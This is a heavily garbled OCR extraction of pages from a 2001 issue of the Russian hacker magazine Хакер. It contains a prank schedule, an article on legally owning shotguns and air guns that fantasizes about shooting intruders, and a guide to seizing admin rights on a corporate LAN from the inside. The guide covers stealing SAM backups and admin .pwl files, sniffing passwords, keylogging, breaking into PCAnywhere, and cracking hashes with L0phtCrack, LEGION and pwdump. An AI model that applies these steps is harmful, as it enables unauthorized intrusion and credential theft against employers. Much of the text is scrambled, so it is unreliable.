книги хакеры / журнал хакер / 034_Optimized

hang

e

hang

e

C

E

C

E

X

X

-

d

-

d

F

i

F

i

t

t

P

D

o

D

039>

o

r

r

BUY

NOW!

X-стильный

BUY

NOW!

to

увлекательнейшимток-

дневник

to

w

m

w

m

w Click

o

налиценаблюдайза

w Click

o

w

w

.

.c

.

.c

p

df

e

p

df

e

g

самойсерьезнойминой

g

n

n

-xcha

-x cha

егосглаздолойис

изнижнейчаститрубки.микрофонУбери

телефонногоаппаратаиспокойновыкрути

приколиста Óдарим

старого,ещедискового,видавшеговиды

важных.делВпервуюочередьдоберисьдо

хозяйству,тысможешьсделатьмного

западлостроением

гостикобщемудругу,ипокаонсуетитсяпо

обормотов,включаятебя,приперласьв

ïî

скуке!

Послеработыгруппа

16-30

нетолькоголовой,нои.руками

неебудетотличнаявозможностьпоработать

капотом-вствол.другогоКогдапослеработыбухгалтершавыйдетизофиса,у

для.поцелуев!"Аккуратнее,атоотрядможетнезаметитьпотери.бойца

багажникомэтасамодвижущаясякаретаупираласьвстволодногодерева,а

дальнее.сидениеСамоевремя,радостноскалясь,крикнуть:"А-ха-ха-ааа,места

надоевшегобухгалтерамеждудвух.деревьевСутьзадачивтом,чтобы

какразимаршрутка.подъехалаПропустиихвперед,пускайзалезаютнасамое

ПослеобеданезабудьсприятелямипереставитьФордКа

13-00

Авотитвоидруганы,мягкоговоря,недовольныеранней.побудкойНу,ничего,

.коней

.обеспечено

своимделам,внестисумкив.транспортДальше-главноенержатькактабун

негобудетпротекатьвкрайненервной.обстановкеНесварениежелудкаколлеге

.кирпичамиДевушкамилопроситнезнакомыхмолодыхлюдей,спешащихпо

тебятаквзъелся,оралвсеутро,вспоминаятебяразными.словами"Обеддля

небольшихспортивныхсумки,набитыхдонеподъемногосостояния,например,

какому-нибудьновомусотрудникуисказать:"ИчегоэтоПетрМихайловична

развлечьсяпрямона.остановкеРядомсдевушкойустанавливаютсяодна-две

всенаправляютсявстоловкуилиближайшее.кафеСамоевремяподойтик

другановестьмиловиднаяподруга,можноприеесодействиикакследует

Ивотперваяполовинаднязакончена,сголоднымивзглядами

11-00

Ладно,времядорого,пораехатьна.работуЕслиутебяилитвоих

8-30

разобраться,что.произошло

свойфаксовый.ID

рабочегодня,покатвоиколлегиещетолькопродираютглазаинемогут

рассылкаобоев.факсом"Воизбежаниетвоейгоспитализациинезабудьсменить

.компьютеровОсобенновеселопроворачиватьэтомероприятиевсамомначале

сприделаннойвлюбомграфическомредакторенадписью"Hоваяуслуга-

всегорабочегопроцесса,еслитыловкоиумелопоменяешьвсепроводау

начинаешьрассылатьпознакомымпредварительноотсканированныйкусокобоев

собственным.величиемПомниотом,чтовтвоихрукахможетоказатьсясудьба

благотворительностью:запускаешьсвойстарыйдобрыйфакс-модеми

Добравшисьдоработы,проникнисьважностьюмоментаи

9-00

Обзвонивиозадачивдрузей-товарищей,займись

7-30

внизиоткрывает"одомофоненную"дверь.вручную

опятьнеработает.:)Другонилинет?Еслидруг-топустьсрочноспускается

срочнопереговоритьпоособоважномувопросу,ноэтотдолбанныйдомофон

.большеОпятьжепосредствомтелефоннойсвязисообщаешьосвоемжелании

Еслиутебянетмашины,ауприятеляестьдомофон-схемаупрощаетсяеще

пройдетсяподдождичкомвтапкахисведром.воды эпитеты,обещаетвыйтисведромчерезпятьминут...Ничего,ничего,пусть (взависимостиот.сезона)Приятель,бормочавтрубкусплошьприятные заклиниловсе.замкиВсечтотебенужно-этоведрогорячейилихолоднойводы выкипелавсяводаврадиаторе,аотойтиотмашинытынеможешь,таккак втвоемновомавтомобилепроизошлатехнологическаяавария,скажем, трубки,смелосообщайему,чтотынаходишьсявдесятишагахотегодома,что стольраннийчас,самособой,-.дрыхнетКогдаон,наконец,доберетсядо накухнеипопиваячаек,звонишьпотелефонусвоемуприятелю,которыйв Дляначаларекомендуютебепопробоватьсамыепростыесхемы:сидявтрусах

нисветнизаря-разбудииих,авось"спасибо"скажут.:) всебенавыкиудаленногоадминистрированиясвоих.друзейРазужтыпроснулся новогодня,когдазаокномхолодно,сыроимерзко,можноинужновырабатывать незаслуженнозабытуютеориюудаленного.администрированияРаннимутром выкрутитьсяиизэтойситуации,например,правильноиспользуяпривычную,но деламподнакрапывающимдождичком-несомненно,.скучноНоможнограмотно 7-00Вставатьраноутром,особенноввыходные,иидтипокаким-то

МИНЗДРАВ

ПРЕДУПРЕЖДАЕТ: КУРЕНИЕ ОПАСНО ДЛЯ ВАШЕГО ЗДОРОВЬЯ

5 Кодинг 6 Hack-Faq 7 JoyStick 8 Юниты 9 Quit> 39

hang

e

hang

e

C

E

C

E

X

X

-

d

-

d

F

i

F

i

t

t

P

D

o

D

o

r

r

<Page 040>

ХАКЕР\¹34\Октябрь\2001P

NOW!

BUY

NOW!

BUY

to

to

w

m

w

m

w Click

o

w Click

o

w

w

.

.c

.

.c

p

df

e

Х-Стиль

p

df

e

g

g

n

n

-xcha

-x cha

сам себя Защити Защитиru).(scrooge@aha Scrooge

ружьемсебясам Тывполнелегальноможешьвладеть

вмоментопасности!Затоможнопострелятьпобан-

щийсяприклад,выпускаетсятолько20-гокалибра,

htm.ru/p/6061.h1.http://adg

попастьнеприятелювглазилииноеуязвимоеместо

изокнадвижущегося.автомобиляИмеетскладываю-

htm.ru/03.kolchuga.http://www

оружиясамозащиты,конечно,нет.совсемПопробуй

дляношения/транспортировки,атакжедлястрельбы

ru.saiga.http://www

татьегобезполучения.лицензииТолкуотнегокак

посколькуоченькороткаи,соответственно,удобна

html.ru/index.guns.http://club

данеРоссийскойФедерацииимеютправоприобре-

теля"AKA"легальныйобрез"ТОЗ-.106Названатак,

http://ru-com/.8m.weapon

ммвключительнорегистрациинеподлежит,играж-

Изаключительнымномеромидет"смертьпредседа-

дульнойэнергиейнеболее7,5Джикалибрадо4,5

Каквсегда,вконцестатьинебольшаяподборочкаurl:

<ÒÎÇ-106>

Позакону"Оборужии"пневматическоеоружиес

Вот.такДумайсам,решайсам,иметьилине.иметь

морройнуюлицензию,впродажеесть.пневматика

возникаюточень.часто

Помимоогнестрела,накоторыйнадополучатьге-

20-го.калибровСтоитот$200.

травматизмаотнебрежногообращениясоружием

котороедействует5.лет

ныйвидинеплохую.надежностьВыпускается12-го,

убьешь,топойдешьпостатьекакмиленький!Случаи

ние2-хнедельоформляетсяразрешениенаоружие,

набазеавтоматаКалашникова,такчтоимеетгроз-

.нейПотомукакеслитыкого-нибудьранишьили

газинамивыбирать.оружиеПослепокупкивтече-

.га"Полуавтоматическоемагазинное.ружьеСделано

рится,развгодуипалкастреляет,такчтоосторож-

зию,скоторойтыможешь6месяцевходитьпома-

Следующимномеромнашейпрограммыстоит"Сай-

номпорядкеприобрестиоружейный.сейфКакгово-

.видПослевсехэтихмытарствтебевыдадутлицен-

дляполученияразрешениятыдолженвобязатель-

трезвый

постарайсясделатьмаксимально

òåáÿ-

<Сайга>

ныидляхвастовствапереддрузьями.:)Нонезря

.ком)Такжектебезайдетучастковыйпосмотретьна

.дешьВсеэтистволыпредназначеныдлясамооборо-

лезныйящик,еслисосварочнымаппаратомзна-

ющих-калибрыпоубыванию:12,16,20,32,.410)

чтотынекретинипалитьнаправоиналевонебу-

сейфдляхраненияружья(можешьсамсваритьже-

пускаетсятолькодвенадцатогокалибра(длянезна-

Тебедаютправоиметьоружие,подразумеваяэтим,

небудет,не.волнуйся)Ещенеобходимоприобрести

.плохаНадежнакак.кувалдаСтоитоколо$100.Вы-

боватьгонятьсяполесамзадикимизверяминикто

ведь,неу.дяденьки)Машинкаиправдаоченьне-

<Запомни!>

анахранениеиношение-тывродекакохотник(тре-

альностииздеватьсянадоружиемтакненадо,свое

.занялоСможешьпрочестьсамнасайтах(см..ниже)

лей,нотогдаутебябудутдокументыненахранение,

етружье,дергаяеговертикальновверх-вниз(вре-

небольшихденег-впределахдвухсот-трехсотруб-

гдеглавныйгеройэффектнымжестомперезаряжа-

тикинетвозможности-ужбольномногоместаэтобы

ментоввступитьв.охотобществоСтоитэтосовсем

основномпофильмам,

невооруженнымлюдямв

но.автором)Подробнорассказатьодоводкепневма-

.рублей)Оченьрекомендуетсяпередподачейдоку-

81уженамного.веселейПомповоеружьеизвестно

качественнопроведенныхвоенныхсборов-провере-

тикакнаправа)изаплатитьгоспошлину(около100

такоестарьене.тянет?)АвотпомповоеружьеИЖ-

тягаккамуфляжуиоружиюначистопропадаетпосле

инаркодиспансере,атакжеотом,чтоздоров-поч-

тавимихлюбителямDOOMа(надеюсь,тебя-тона

Рэмбоидутвлесопаркохотитьсянаптичек(кстати,

мыесправочки(чтотынесостоишьнаучетевпсихо-

теперьлучше.забудьФильм,ониесть.фильмОс-

напяливаютнасебякамуфляжисвидомгрозного

прийтивсвоерайонноеУВДитамсдатьнеобходи-

мнишь,каконтамлихосдвустволкойуправлялся?А

прицела,усиленнойпружиныи.д.ти.п.тЕщеиногда

Чтобыполучитьлицензиюнапокупкуружья,нужно

больночасто.приходится"Брат-1"смотрел?По-

нихвсякиецацки,вродеоптическогоилилазерного

<Бюрократия>

охоткупобанкамнепостреляешь-перезаряжатьуж

пистолетикиливинтовку,начинаютнавешиватьна

Да,надежно,неприхотливо,ноне.прикольноИв

вило,новоявленныевладельцы,приобретядуховой

ки(атемболееодностволки)отметем:непонтово.это

кастоитвпределахот800до1200.рублейКакпра-

ятпочтиодинаково...

Итак,чтопредлагаетнам.рынокДедовскиедвуствол-

летМР654КиК02,винтовкаMP651К-.07Пневмати-

коваяпукалкаинастоящееорудиедляубийствасто-

тельны:винтовкаМР-512,винтовкаИж60,61,писто-

Забавно-маленькаяпласти-

такжестоитпод$100.

<ÈÆ-18>

образцовнаиболеепредпочти-

Изотечественных

чтоимпортнаяпневматика

Хочуотметить,

.æèåì

<Пневматика>

житьсявполнедобротносделаннымнастоящимору-

Итак,даженесамыйбогатыйперецможетвоору-

несколькораз)инетпроблемс.запчастями

поворонами.кошкам

.винтовкеСтоимость-впределах$100.

яхотечественногопроизводства,ибоонидешевле(в

сяпоклассическойсхеме,рычагом,каквмосинской

тискореек.игрушкамРечьябудувеститолькооружь-

камили,еслиналичествуютживодерныеинстинкты,

магазиннатрипатрона,перезарядкаосуществляет-

веннослабуюпневматику,эти"стволы"следуетотнес-

1

2

3

4

40

Ньюсы

Феррум

PC_Zone

X-Стиль

Взлом

hang

e

hang

e

C

E

C

E

X

X

-

d

-

d

F

i

F

i

t

t

P

D

o

D

041>

o

r

r

BUY

NOW!

BUY

NOW!

to

to

w

m

w

m

w Click

o

w Click

o

w

w

.

.c

.

.c

p

df

e

p

df

e

g

g

n

n

-xcha

-x cha

того,чтороссийскиезаконыразрешаюттолькооткро-	милиции,сидянатушеихлебаяиз.котелка
накотороевообщененужно.разрешенийНовсилу	ныйвыстрелв.ногуТеперьужеможнодожидаться
тыможешьприкупитьсебеипневматическоеоружие,	наводишьдулонаублюдкаиделаешьемуконтроль-
вующее.разрешениеКромегладкоствольныхружей,	тоявчеравHalf-Lifeпереиграл...Насамомделе,ты
носложнаявещьегополучение),получивсоответст-	типодбираябоеприпасыиновое.оружиеЧерт,что-
коствольное;онарезномиговоритьнебуду-ужболь-	гамиибыстробежишькближайшейаптечке,попу-
коствольноеохотничьеоружие(подчеркиваю,глад-	кровавое.месивоРасшвыриваешькускичерепано-
деюсь,18-тотебеисполнилось?)иметьдомаглад-	тьювыстреламипревращаешьголовуублюдкав
СегодняшниезаконыпозволяютгражданамРФ(на-	ешьвнизпредохранитель,дергаешьзатворидеся-
	гуюсердцу"Сайгу",пристегиваешьмагазин,броса-
<Всепо-честному>	му,недолгодумая,тывытаскиваешьизсумкидоро-
	ниеутопающих-делоруксамихутопающих",поэто-

тебяи.расфасуютКороче,чтотутгадать-то,"спасе- бытьэто.поможетАвотеслинет,тоэтимженожом литыкакой-нибудьтрахнутыйРембо,тогдаможет .гатьРаспахнешьдверь,державрукахнож?Ну,ес- мадлясплетен,нониодиннерыпнетсятебепомооратьизокна?НуОК,усоседейпоявитсяноваятеедут,чтобызафиксироватьвремя.смертиБудешь милицию?Нухорошо,часачерезполтораониприловыеублюдки,тотычтосделаешь?Позвонишьв Есликтебеночьювдверьначнутломитьсябритого-

<Откройте,грабители!>

лютнолегальныесредства.самообороны мое.реальноеИнекриминалвсякий,аабсо- тьи!Причемнекакое-нибудьигрушечное,аса- ритьне.собираюсьОружие-воттемаэтойста- какиепрезервативыифаерволыятуттебяпаностейинеожиданностей.жизниДанет,нипро защититьсебявэтойнелегкойиполнойопасДружище,сегодняярасскажутебеотом,как

5 Кодинг 6 Hack-Faq 7 JoyStick 8 Юниты 9 Quit> 41

hang

e

hang

e

C

E

C

E

X

X

-

d

-

d

F

i

F

i

t

t

P

D

o

D

o

r

r

<Page 042>

ХАКЕР\¹34\Октябрь\2001P

NOW!

BUY

NOW!

BUY

to

to

w

m

w

m

w Click

o

w Click

o

w

w

.

.c

.

.c

p

df

e

p

df

e

g

g

n

n

-xcha

Взлом

/Основы

-x cha

Основы выживания в локальной сети

Rem0te Administrat0r aka r00t

< Folder 0 >

Приведенные ниже факты, комментарии, "методы" и пр. справедливы в основ-

ном для больших локальных сетей, крупных организаций с корпоративными се-

тями, основанных на TCP/IP. Все совпадения случайны, хотя, возможно, ты и

узнаешь свою сетку :). Я хочу не разжевать тебе все и разложить по полочкам,

а заставить ДУМАТЬ и ДЕЛАТЬ. Возможно, у тебя после прочтения этой статьи

будет больше вопросов, чем ответов. В этом-то и прикол: заставить тебя ду-

мать, читать, собирать информацию, изобретать в конце концов!

Рекомендации

Самый простой способ

Способ 3

Настоятельно рекомендую установить себе ОС

Начать шарить по сетевому окружению на предмет

Посмотреть на сервере(ах) - а не открыт ли доступ к

Windows 2000 pro or NT 4.0 для достижения максималь-

расшаренных дисков рабочих станций (банально, но

диску? Лично нам нужен Winnt/repair/sam._. Т.е. backup

ного эффекта "проникновения" (хорошо сказал :). Ка-

факт!) и порыться в каталогах /windows/ удаленных ма-

реестра с паролями, в том числе и администратора.

чественный прорыв был достигнут мной именно при

шин на предмет нахождения файлов *.pwl в 98-х. Если

Случай очень маловероятный, т.к. по умолчанию обыч-

использовании NT как "родной" системы в сети. Боль-

нет открытых ресурсов или они закрыты паролем, мож-

ному пользователю нет доступа к этому каталогу. Тем

шинство данного материала сработает только на NT.

но просто походить по соседним рабочим станциям и

не менее посмотреть стоит - мало ли. Если файл уда-

под любым предлогом порыться в каталоге Windows.

лось стащить - L0phtCrack+ тебе в руки. Данная про-

Политика безопасности в сети

Часто администратор при установке системы пользо-

грамма будет нам полезна на более поздних стадиях,

вателю входит под своим логином, а pwl удалить забы-

поэтому забывать ее не будем.

В большинстве случаев дело обстоит так: имеется сет-

вает. Если ты видишь на какой-либо машине файл под

Способ 4

ка с выходом в Интернет через что-нибудь (Cisco, BSD,

названием adminst.pwl либо имя/логин админа.pwl, то

etc). Чем больше в сети рабочих мест, тем легче в ней

считай, что тебе крупно повезло и причем сразу (есте-

жить простому хакеру (вернее, просто любопытному

ственно, подойдет pwl любого из группы админов).

Часто на серверах PDC или BDC устанавливают IIS от

человеку). Таким образом, скорее всего дело обстоит

Данный метод прост, но очень эффективен! Что даль-

Microsoft (по-моему, он даже устанавливается по

так: локалка достаточно хорошо защищена от вторже-

ше делать с этим файлом, ты знаешь :). В нем скорее

умолчанию). Причем эти сервисы не используются

ний извне, но внутри сети царит хаос и полное равно-

всего нет никаких кэшированных паролей, т.к. входили-

вовсе либо используются в качестве интранет-серви-

душие со стороны администратора(ов). Чем больше

то только 1-2 раза, но сам сетевой пароль присутствует,

са. Соответственно, закрывать вновь найденные ба-

пользователей имеют права администратора, тем лег-

а он-то нам и нужен! Правда, если пароль сложный, пе-

ги в них никто не собирается - сервер же ВНУТРИ се-

че их присвоить. Зачастую в группу администраторов

ребор может занять много времени, но ведь мы никуда

ти! Как результат - все это хозяйство доступно для

попадают откровенно случайные и тупые люди, и, со-

не торопимся! В поисках заветной pwl-ки тебе может по-

взлома. Естественно, в первом случае там и не наст-

ответственно, получить их пароль бывает достаточно

мочь LEGION или подобная утилита. Там есть возмож-

роено ничего, и можно спокойно ломать, не особо за-

просто, знающему человеку, разумеется.

ность перебора пароля по словарю (LEGION) aka брут-

ботясь о безопасности. О методах взлома IIS 4.0-5.0

Если у тебя в сети действуют жесткие

форс, а скорость перебора по локалке очень высока!

написано достаточно много. Результат один - пароль

НЕ ЗАБЫВАЙ отключать зашаренный

åì îäèí :).

правила и ограничения, например, на-

сильственная смена паролей пользо-

диск, иначе юзеру открытого ресурса

Способ 5. Различного рода сервисы

вателей через определенное время -

при выключении компьютера будет

будь осторожен! Это говорит о том,

выдаваться сообщение о том, что к не-

потусторонних производителей

что за сетью смотрят, и твои неосто-

му подключены пользователи, а это не

А может у тебя в сети применяются различные ути-

рожные действия могут повлечь серь-

есть гуд. В любой момент юзер, если

езные последствия.

он не лох, наберет netstat-a, и ты влип.

литы удаленного доступа типа PCAnywhere? Тогда

В конце концов можно пойти ва-банк и специально ис-

можно попробовать вломиться на сервер, установив

Начинаем

себе клиента, к примеру, вечером или в выходные

портить систему, к которой у тебя есть доступ, для то-

дни для того чтобы активность не была заметна. Па-

го чтобы получить pwl, после чего нужно каким-то об-

Первое и единственное, что нужно для захвата локал-

роли на подключение к серверу PCAnywere также ча-

разом

заставить администратора ее настроить. Тут

ки, - это получить права админа. Танцевать в данном

сто не устанавливаются! Скорее всего, ты наткнешь-

можно использовать кейлоггер.

случае нужно от его пароля. Для начала нужно узнать

ся на то, что сервак

заблокирован стандартной

Именно через шару, будучи инсайдером, я получил па-

login администратора домена или рабочей группы. Во-

НТишной блокировкой. Но, в конце концов, админ

роль админа, а в результате нагнул сетку одной большой

обще, админы локалок - странный народ. Они зачастую

когда-нибудь забудет это сделать, и сервак упадет

компании, имеющей развитую корпоративную сеть :). На

зазнаются, абсолютно не признавая того, что кто-то в

перед тобой на колени. Вероятность этого сильно

шарах в основном были пароли, но типа 1, 2 и пр. Честно

его сети знает не меньше, а может и больше него са-

возрастает, если рабочее место администратора не

говоря, я был ошарашен тем, что 70% паролей в этой сет-

мого. Такой администратор для нас просто находка!

в серверной. Серверная в таком случае, как правило,

ке были цифровые, т.е. подбирались брутфорсом за счи-

Спорить с ним и показывать свои знания не рекомен-

закрыта, а ходить туда по каждой мелочи админу

танные минуты! Вообще, за что там админам платят по 2

дую: во-первых, он будет в какой-то степени опасаться

штуки баксов? За то, что у них самих пароли типа 123456?

влом. Вот он и юзает аниверы всякие :). Получив та-

и не введет свой пароль при тебе, а во-вторых, при

ким образом доступ к серверу, проделываем опи-

проблемах ты будешь первым подозреваемым. А тебе

Способ 2. Сниффер

санные ниже операции с программой L0phtCrack+, с

это надо? Конечно, не нужно преувеличивать возмож-

тем лишь исключением, что запускать от имени ад-

ности и способности админа - он всего лишь человек,

Тебе нужно установить на своей машине сниффер. На-

министратора ее будет не нужно. Необходимо будет

ему свойственно ошибаться. Неужели ты и вправду ду-

строив его на открытые протоколов типа telnet или

только каким-либо образом ее туда записать (мож-

маешь, что он только и занимается отловом чрезмерно

pop3, можно попробовать отловить пароли на эти сер-

но, не парясь, послать почтой). В этой ситуации ча-

любопытных индивидуумов? У него другой работы ну

висы. Зачастую они совпадают с сетевым. Минус - спо-

сто можно обойтись и без LCP, если администратор

просто завались, и ему НЕ ДО ТЕБЯ. Одно могу сказать

соб работает не всегда. Лично у меня ничего не вышло

достаточно часто обновляет каталог repair, можно

точно: вы с ним в одной сети, ему некуда деться, и

из-за топологии сети. Мне доставались лишь широко-

просто взять sam оттуда. Если sam старый, то дамп

свой пароль он рано или поздно отдаст.

вещательные пакеты :(.

тут просто необходим. Наличие нестандартных сер-

42 Ньюсы

1 Феррум

2 PC_Zone

3 X-Стиль

4 Взлом

hang

e

hang

e

C

E

C

E

X

X

-

d

-

d

F

i

F

i

t

t

P

D

o

D

043>

o

r

r

BUY

NOW!

´

æ

ı

łŁ

ß

BUY

NOW!

to

Í à -

´ æ

ŒŁ,

Łı

Łæ

æ

to

w

m

łŁŁ

Ł

ß

w

m

w Click

o

w Click

o

w

ŒŁ,ł

Łß

w

.

.c

.

.c

p

e

p

e

g

g

df-xchan

df-x chan

Í

-

-

ß

÷

÷

ò ü

ïî ñåòå-

æŁ

-

ŒŁ,

º

ß

æ

-ïî

сетепосете-

ºæ

.æ Łß æ

Ł

º

æ

Начать-

ŒŁ,

ß

˝

æ

ß

ø

âîìó

окружению-

íà

íà

Ł

вомувомуокружениюна

warez-ftp,

æ

Łß

ршаритьпредмет расшаренных

Ł

æ

предметпредметрасшаренных

ïî

î

Ø

ߌ . ˜

Ł

ï

дисковîрабочих

ñòàí-

выживания в ко-

висов вам покажет любой портсканнер. Вообще, дан-

Ł

æ

дисковдисковрабочихрабочихстанстан- -

òå-

ªŁÆ Ø

-

Administrat0ríî

ñåòåöèé Rem0te(банально,-

aka r00t

îäèí

íî

º

æ

ный способ неоднозначен, но, по моему мнению,âцийций(банально,но

â

âîìó-

ØŒŁæ

из самых многообещающих.

факт!)мупорыться в ка-

warez-ftp,

факт!)факт!)порытьсяв кав-ка-

ftp,FileServer

êðó-

-

-

æ

îêðóталогах

-/windows/

Œ

˜

Ł

талогах

/windows/ óäà- -

æ

талогах

-

ªŁ

.Ł

-

æ

жениюуда

ftp,

ленныхå

-машин на

ª Æ Ø

Итак - пароль есть. Что с ним

ленныхленныхмашинмашинна на

í è þ

Ł Œ

Ł

ï ð å ä -

дальше делать?

н и юнахождения

Ł

º

?

æ

í

нахождения

غ

Ø

IRC.

ª

à

ò

º

æ?Ł ŒŁ

í

ì å

â

Π.

ßØ

ªæÆ æØŁæ

файлова*.pwl

98 õ.

Ł FileServer

файловфайлов*.pwl*.pwl 98 98х.-х.

FileServerŁæ º

ïð

ä

àñøàŁæ-æº

warez-æ ftp,

À

дальше - для начала -

п предметЕсли нет открытых ре-

ªŁ

попробуем получить

пароли

открытыхре-ре-

Åñëè íåò

ì

ò

ò

ºæftp-

ì

пользователей сети. Где у нас там Lcp+?

сурсов илинетони закры-

FileServer

ñóð

урсовилиилионионизакрызакры- -

Œ

ренныха -

˜Œ ,

Ł Łı

дисков-

раЕслиты паролем,-

можно

IRC.

ª

1. Заносим администратора в группу администраторов

паролем,можноможно

ø à -

ß

ŁªŁ

æŁ

ߣ .IRC´

ªßı,

Ł

ð à

-á î -

ø

простоà

походить-

ïî ñî-

º

СВОЕГО компьютера (сработает только в W2k или NТ).

ñïî-ñî-

простостопоходитьп

ð å í -

æ õ

ŒŁ

ª

ƺ.

÷

-è

ðåíседним

-рабочим стан-

º

ftp-

2. Создаем ярлык для программы в удобном месте.

º

седнимседнимрабочимрабочимстанстан- -

í û õ

Ł

Ł

ßı-

IRC.

í

ñ ò à í -

òûöèÿì

хпод любым

Π,

Ł

Łı

3. Нажав Shift, кликаем правой кнопкой мыши на ярлыке.

подподлюбымлюбым

циямциям

ä è ñ -

Ł

Łı º Œ ºŒ ı

ö

-

é

è

äèñпредлогом-

порыться в

ßı,

Ł

Не отпуская Shift, выбираем в меню "запуск от имени

предлогомпорытьсяв в

IRC-æ

,

ê î â

-

(

á

à

ØŁŁı

к окаталогевWindows. Час-

другого пользователя". В появившемся окне заносим ло-

каталогекаталогеWindowsWindows.Час.Час- -

ð à -

º Œ

à-ë ü -

ãèí,

ð àто администратор-

ïðè

I C.

пароль и домен администратора. Внимание: при

тоадминистра раторприпри

òî

IRCº ..IRC.

á

-

-íî

á

íî,-

системы

первом запуске произойдет ошибка, т.к. профиль

ïîëü-

и хсистемысистемы

º Œ ºŒ ı

÷

ôàêò!)

netIRCŒ .ºŒ.ru:6667),ı

÷ èпользователюõ

входит

IRC-æ

,

зователя (администратора) на твоей машине отсутствует.

пользователювходитвходит

установке-

ºŒ, ıStarLink

è

-

ïî-

ñòàíпод своим-

логином, а

º Œ

Второй запуск будет успешен, т.к. система его создаст.

подподсвоимсвоимлогином,логином,а а

ForestNet

ö è é

рыться

,

Ł

ö èpwl удалитьé

забывает.

.

pwlpwlудалитьудалитьзабывает. .

غßı, FileServer

è

стратораòðà

( á

-

группу

àââ

катав группу

-

инис ратора

â

группу

net.ru:6667),

истра о

àÅñëè òûâ

идишь на ка-

ЕслиЕслиты тывидишьвидишьна

êíà-êà-

ru:6667),æ Ł

àäì администí ñòð

аторов

СВОЕГО

ë îСВОЕГОã à õ

инистрдминистраторов

СВОЕГО

StarLink

ã

ó

ï

êîéï -ëèáîó

машине

Ł

койкой-либо-либо машинемашине

StarLinkº

êî

(сработает только

W2k

пьютераêîì üþòå(сработает/ wтолько вiW2kn -

администратороком ьютераôàéë(сраб тает тольконазваниемâ W2k

ForestNet

атора в

подназваниемзванием

èëè NÒ)èëè.

NÒ).

файлфайл

æ.

StarLinkæ

Ł

d o w s /

ëè NÒ).

ëèáî

ru:6667)

ßı, FileServer

группув СВОЕГОadminst.pwl

adminstadminst.pwl.pwl

либолибо

æ

FileServerß,

2. Ñîçä2. Создаемем ярлык

ярлык для программы в

óäëÿ ï

ïîäограммыàâ

-

2. С здаем ярлык для программы в

админиê ï ü þ ò

имя/логинå ð à

админа.pwl,

ß

æ

.Ł

˝

Ł,

имя/логинадминаадмина.pwl,.pwl,

месте.

å í -

FileServer

(

удобномудобномместе.

ë

удобном месте.

÷òî

òåáå

á

òî

есчитай,т

º

òî

считай,чточтотебетебе

ߣ

æ Ł

º ªŁ

3. Нажав Shift, кликаемòîñ÷

правой

-

стратор3. Нажав Shift, кликаемíправойû õ

æ

Ł

только3.âНажавW2kâShift,крупноилиê êàåìповезлоправой ïðè-

Łæ

крупнокрупноповезлоприпри- -

ŁÆ Ø,?æ

кнопкой мышиярлыкеíà.ярлыкеÍå

. Íå

кнопкой мыши на

машин

кнопкой мыши на ярлыке. Не

СNТ)В. О Е Гчем сразу (естествен-

æ

ºŁŁß, æ

ß,

сразусразу(естестествен- -

îò

уская

Shift, выбираем в

ìåíþà

Ł

í

Î2.тпуская Shift,отпускаяСоздаемвыбираемShift,íî, выбираемподойдетåíþ â ìåpwl ëþ-

ß

.Ł˝

Ł,

"запуск"çàîòóñêимениîò

именино,но,подойдетдругого pwlpwlëþ-ëþ-

другогоï ð å ä -

"запуск от имени другого

компьюярлык

богодляиз группы адми-

богобогоиз изгруппыгруппыадмиадми- -

пользователя". В

åîêíå

îêíå

пользов теля". В появившемся÷åì

ò

польз в

åëÿ". Âпоявившемся

îêíå

òпрограммыå ð àíîâ).

появившемДанный метод

ç

нов)нов). Данный.Данныйметодметод

сим логин, пароль

домен

-

заносим логин, парольнахождомен

(сработудобномçàí ñèìместеëîпрост,гин, пароль. íî

è

оченьдомен

ýô-

прост,прост,но

нооченьоченьэф-эф-

дминистра ора. Внимание:

ïðè

дения

à3.администрНажаве дминисòîðà.Shift,òÂíèìраторафективен!íèå:. Внимание:ïðè Что дальшеè

фективен!ЧтоЧтодальшедальше

первомпервомзапус

запуске произойдет

ï

ôизойдет àшибка,é -

первом з пуске

произойдет

ошибка,

толькокликаем правойделать с этим файлом,

делатьделатьс этимс этимфайлом,файлом,

профиль пользователя

ò.ê. ошибка,рофиль пользователяò.ê.ë

î

â

т.к. профиль пользователя

íåì

вкноп W2kты

знаешь

:). Â

òû

тызнаешь:).

:)В. немВнем

(администрат

) на твоей

машине

(адм нистратора) на*òâ.pwlей машине

â

-

успешутсВторза(администраторñêî åå) íàвсеготвоейíåòìà èíå

-

èëè N

скореескореевсеговсегонетнет ника-

отсутствует. Второй запуск

будет

отсутс вует. В орой9запуск8будет- õ .

отсутствует. Вт рой запуск буд

петуспешуторойких кэшированных па-

кихкихкэшированныхпа-па-

успешутсВторзапетуспешуторой

Правой кнопкой мыши!!!

успешутсВторзапетуспешуÅ ñîðîé

ë íèêà

успешутсВторзапетуспешуторролей, . . входилиé

òî

. . входиливходилито-то

íåòролей,ролей,

.îò.

-

только

1 2

ðàçà,

íî

4. Идем в сервис - создать дамп паролей - методом

íî

(

толькотолько1 21 раза,2раза,но

крытых-

pwdump.

(

á

сетевой-

пароль

самсетевойсетевойпарольпароль

íàëü-

-

ð

å

присутствует, а он то

присутствует,ствует,а

îíà îíòî-òî

í î ,

-

ñàì ó ð

и нужен! Правда,

намнами

нужен!инужен!Правда,вда,

íàì

î

â

ñ

î

пароль сложный,

åñëèåñëè

пароль сложный,-

ë

è

перебор может занять

ный,переборпереборможетможетзанять

î

í

è

много

времени,

íî

íî

занятьмногомноговремени,-

ç

à

-

ведь мы никуда не то-

ни,ведьно

мыведьникуданикуне-то-

крыты

ропимся!

Â

поисках

даропимся!не торопимся!В поискахВза-

ïàðî-

заветной pwl-ки тебе

поискахветной pwl-заветнойкитебе мо-

ë å

ìû

,

может помочь LEGION

pwlæåò-êè

тебепомочьможетLEGIONпо-

можно

èëè

подобная

утили-

мочьили LEGIONподобнаяилиутилита- .

ï ð î -

та. Там есть возмож-

добнаяТаместьутилитавозможность.Там

ñ

ò

ïî

ность перебора паро-

ïî

естьпереборавозможностьпароляпе-

ïîõî-

Всеми любимый Lopht+

ëÿ

ïî

словарю

реборасловарюпароля(LEGION)по сло-aka

ä è ò ü

(LEGION)

aka

áðóò-

варюбрутфорс,(LEGION)а

скоростьaka

Вводим имя сервера либо его IP, выбираем язык операïî-

ñî-

скорость пере-

брутфорс,перебора

скоростьлокалке

ôàêò!

ñ å-

ä -

ционной системы - другой, в поле администраторы проáîðà-

-локалке очень

высока!по локалке

)перебораочень

è

ª

По умолча-

,

ì

ˇ

è

IRC?

писываем логин нашего любимого админа. нальфорс,высока!,

æ

высока!

ïоченьïî

-

æ

нию стоит administrators - так не оставляй.

Æìè ÎÊ.

à á

ïî -

í

ÍÅ

î

отклю-

ЗАБЫВАЙ

ðûòü

ì

